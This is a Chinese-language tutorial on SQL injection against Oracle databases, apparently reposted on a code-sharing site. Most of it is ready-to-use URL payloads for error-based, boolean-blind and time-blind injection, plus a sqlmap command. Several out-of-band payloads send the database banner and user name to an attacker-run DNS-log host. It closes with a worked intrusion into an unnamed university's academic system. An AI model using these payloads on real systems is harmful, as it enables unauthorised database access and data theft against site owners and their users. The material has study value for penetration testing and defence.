sql注入之Oracle注入


Oracle注入

1.Oracle的數據類型是強匹配的(MYSQL有弱匹配的味道),所以在Oracle進行類似UNION查詢數據時候必須讓對應位置上的數據類型和表中的列的數據類型是一致的,也可以使用null代替某些無法快速猜測出數據類型的位置。

2.Oracle的單行注釋符號是-- ,多行注釋符號/**/。

判斷Oracle數據庫

利用函數來判斷是否oracle數據 如:and len('a')=1
(在mssql和mysql以及db2內,返回長度值是調用len()函數;在oracle和INFORMIX則是通過length()來返回長度值。)
也可以通過dual來判斷是否為oracle

select count(*) from dual where 1=1 and (select count(*) from dual)>1 --

select count(*) from dual where 1=1 and (select count(*) from dual)>0 --

報錯注入

利用 utl_inaddr.get_host_name
這種方法在Oracle 8g,9g,10g中不需要任何權限,但是在Oracle 11g以及以后的版本中,官方加強了訪問控制權限,所以在11g以后要使用此方法進行報錯注入,當前數據庫用戶必須有網絡訪問權限

http://www.test.com/oracle.jsp?name=' and 1=utl_inaddr.get_host_name((select user from dual))--

利用 ctxsys.drithsx.sn()

http://www.test.com/oracle.jsp?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual))--

利用 dbms_xdb_version.checkin()

http://www.test.com/oracle.jsp?name=1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null–

利用dbms_xdb_version.uncheckout()

http://www.test.com/oracle.jsp?name=1' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

利用dbms_utility.sqlid_to_sqlhash()

http://www.test.com/oracle.jsp?name=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

利用ordsys.ord_dicom.getmappingxpath()

http://www.test.com/oracle.jsp?name=1' and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)

使用decode進行報錯注入,這種方式更偏向布爾型注入,因為這種方式並不會通過報錯把查詢結果回顯回來,僅是用來作為頁面的表現不同的判斷方法。

http://www.test.com/oracle.jsp?name=1' and 1=(select decode(substr(user,1,1),'A',(1/0),0) from dual) --

這里是判斷第一位是否為A,依次判斷

XMLType

在使用這個XMLType進行報錯時,很多人不知道為什么要用chr(60),通過ascii查詢可以看到,60:<,58:’:’,62:’>’,查了下相關的api,發現xmltype在進行解析的時候必須以<開頭>結尾,這里:冒號在這是必不可少的,至於為什么是冒號這個我也沒查到,另外需要注意的是如果返回的數據種有空格的話,它會自動截斷,導致數據不完整,有replace函數替換成其他非空字符就可以。

http://www.test.com/oracle.jsp?name=1'and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--

Oracle帶外通信獲取信息

utl_http.request()

http://www.test.com/oracle.jsp?name=1' and 1=utl_http.request('http://10.10.10.10(自己搭建dnslog或者用現有的):80/'||(select banner from sys.v_$version where rownum=1)) --

utl_inaddr.get_host_address()

http://www.test.com/oracle.jsp?name=1' and (select utl_inaddr.get_host_address((select user from dual)||'.sssss.com(自己搭建dnslog或者用現有的)') from dual)is not null --

SYS.DBMS_LDAP.INIT

http://www.test.com/oracle.jsp?name=1' and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.sssss.com(自己搭建dnslog或者用現有的)') from dual)is not null --

布爾盲注

這里的布爾盲注跟Mysql沒有感覺有什么大區別,時間盲注感覺也是一樣 只是函數的不同

```
**18031200424' AND ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s AND 'aaa'='aaa" % (i, ord(payload))
```
附上一個案例 http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2016-0213757

時間盲注

使用DBMS_PIPE.RECEIVE_MESSAGE()進行時間盲注

http://www.test.com/oracle.jsp?name=1'and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('rds',10)='1

實際用法:

http://www.test.com/oracle.jsp?name=1' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1&sname=1

【DBMS_PIPE.RECEIVE_MESSAGE的理解】

來自官網的DBMS_PIPE.RECEIVE_MESSAGE語法:

DBMS_PIPE.RECEIVE_MESSAGE (

pipename IN VARCHAR2,

timeout IN INTEGER DEFAULT maxwait)

RETURN INTEGER;

可以暫時理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)

使用decode()進時間盲注 (select count(*) from all_objects) 會花費更多是時間去查詢所有數據庫的條目,所以以這種方式進行時間判斷依據,這是一個騷氣的方式。

http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1

使用decode與DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式進行時間盲注。

http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) and '1'='1

sqlmap

python sqlmap.py -r 1.txt --level 5 --risk 3 --random-agent --batch --dbms=oracle -p "id" --tamper="space2comment.py"

實例

某高校教務系統的Oracle盲注。

已知注入點為id,語句判斷,睡眠10秒,則為Oracle數據庫。

?id=1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',10)='v

 依次判斷用戶名第一位,第二位。。。

?id=1'and 1=(select decode(substr(user,1,1),'U',DBMS_PIPE_RECEIVE_MESSAGE('RDS',5),0)from dual) and '1'='1

?id=1'and 1=(select decode(substr(user,1,1),'S',DBMS_PIPE_RECEIVE_MESSAGE('RDS',5),0)from dual) and '1'='1

?id=1'and 1=(select decode(substr(user,1,1),'R',DBMS_PIPE_RECEIVE_MESSAGE('RDS',5),0)from dual) and '1'='1

最后得到user為`USR`

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM